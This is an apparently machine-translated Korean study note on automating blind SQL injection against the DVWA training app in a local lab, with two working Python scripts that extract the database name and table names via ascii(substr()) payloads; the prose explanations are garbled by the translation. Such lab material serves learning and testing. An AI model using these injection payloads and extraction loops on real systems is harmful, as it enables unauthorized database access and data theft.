[연구 노트] 자동화 된 테스트 파이썬의 dvwa 블라인드 SQL 플랫폼

목적

이해 SQL 원칙, 방법, 프로세스 블라인드. 하여 정보를 취득하는 다른 데이터베이스 특정 검출 기능을 사용.

환경

시스템 : 칼리 리눅스 2019 (IP : 10.10.10.128 )
플랫폼 : DVWA (IP : 10.10.10.131)에서 OWASPBWA의 v0.94

인터페이스

그림 삽입 설명 여기

운영

SUBSTR 함수는 이제 ACSII 값의 비트 단위의 비교에 문자를 추측 할 데이터베이스 이름을 사용하고 싶습니다.
구문
SUBSTR (문자열, 오프셋, 길이)

  • 문자열 : 데이터베이스 필드 촬영 필수
  • 오프셋 : 필수, 문자열의 시작 위치
  • 길이 : 필수로 절편 길이

파이썬 코드

탐사 데이터베이스 이름

import requests
import re

header={
    "Host":"10.10.10.131",
    "User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language":"en-US,en;q=0.5",
    "Accept-Encoding":"gzip, deflate",
    "Cookie":"security=low; PHPSESSID=vr7sjjt900ulgougqr1asmb346; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada",
    "Connection":"close",
    "Upgrade-Insecure-Requests":"1",
    "Cache-Control":"max-age=0"
}

def getDBName():
    DBName = ""
    url_template = "http://10.10.10.131/dvwa/vulnerabilities/sqli_blind/?id=1' and ascii(substr(database(),{0},1))={1} %23&Submit=Submit"
    chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    print("Start to retrieve database name...")
    for i in range(1,5):
        for char in chars:
            char_ascii=ord(char)
            url = url_template.format(i,char_ascii)
            response = requests.session().get(url,headers=header)
            pattern = re.compile(r'Surname:')
            match = pattern.search(response.text)

            if match:
                DBName += char
                break

    print("Retrieve complated\nDBName is: " + DBName)

getDBName()

가져 오기 URL 요청 정규 표현식 인해 분사 착륙의 필요성을 전제로 관련 모듈, 그것은 응답도 (() 세션) 세션해야하는 URL 헤더를 설정할 필요가 인터넷에서 찾기 시작하는 시간의 대부분은 requests.get (URL입니다 ), 또는 그들의 동작하므로 적절한 변경을 수행하는 실제의 필요에 따라. URL은 내가 "& 제출 = 제출"필드를 잊지하기 시작 관련 분야의 부족, 어떤 결과를 주도하도록 설정할 수 없습니다 특히 때.
프로브 테이블

import requests
import re

header={
    "Host":"10.10.10.131",
    "User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
    "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language":"en-US,en;q=0.5",
    "Accept-Encoding":"gzip, deflate",
    "Cookie":"security=low; PHPSESSID=vr7sjjt900ulgougqr1asmb346; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada",
    "Connection":"close",
    "Upgrade-Insecure-Requests":"1",
    "Cache-Control":"max-age=0"
}

def getTableName():
    #DBName = ""
    url_template = "http://10.10.10.131/dvwa/vulnerabilities/sqli_blind/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))={2} %23&Submit=Submit#"
    chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    print("Start to retrieve table name...")
    print("-------------------------------")
    for i in range(0,2):    # number of tables
        TableName = ""
        for j in range(1,10):    # length of table_name
            for char in chars:
                char_ascii=ord(char)
                url = url_template.format(i,j,char_ascii)
                response = requests.session().get(url,headers=header)
                pattern = re.compile(r'Surname:')
                match = pattern.search(response.text)

                if match:
                    TableName += char
                    break
        if len(TableName) == 0:
            print("Can' Find")
        else:
            print(TableName)
    print("-------------------------------")
    print("Finish retrieving!")

getTableName()

개요

전체 과정은 비교적 간단하지만 실천은 이렇게 항상 더 많은 연습을 필요로 원활하게되지 않습니다.
노트, 자기 동기 부여를 수행합니다!

참조
https://blog.csdn.net/sophia9301/article/details/78215264
https://blog.csdn.net/MAILLIBIN/article/details/84592940

게시 25 개 원래 기사 · 원 찬양 23 ·은 10000 +를 볼

추천

출처blog.csdn.net/Secur17y/article/details/102497529